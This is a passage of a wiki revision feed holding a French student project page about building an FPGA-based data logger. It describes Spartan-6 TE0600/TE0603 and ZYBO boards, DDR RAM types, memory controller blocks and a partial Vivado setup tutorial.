[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27513</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27513"/>
				<updated>2016-02-22T09:16:00Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Etude des plates-formes de programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
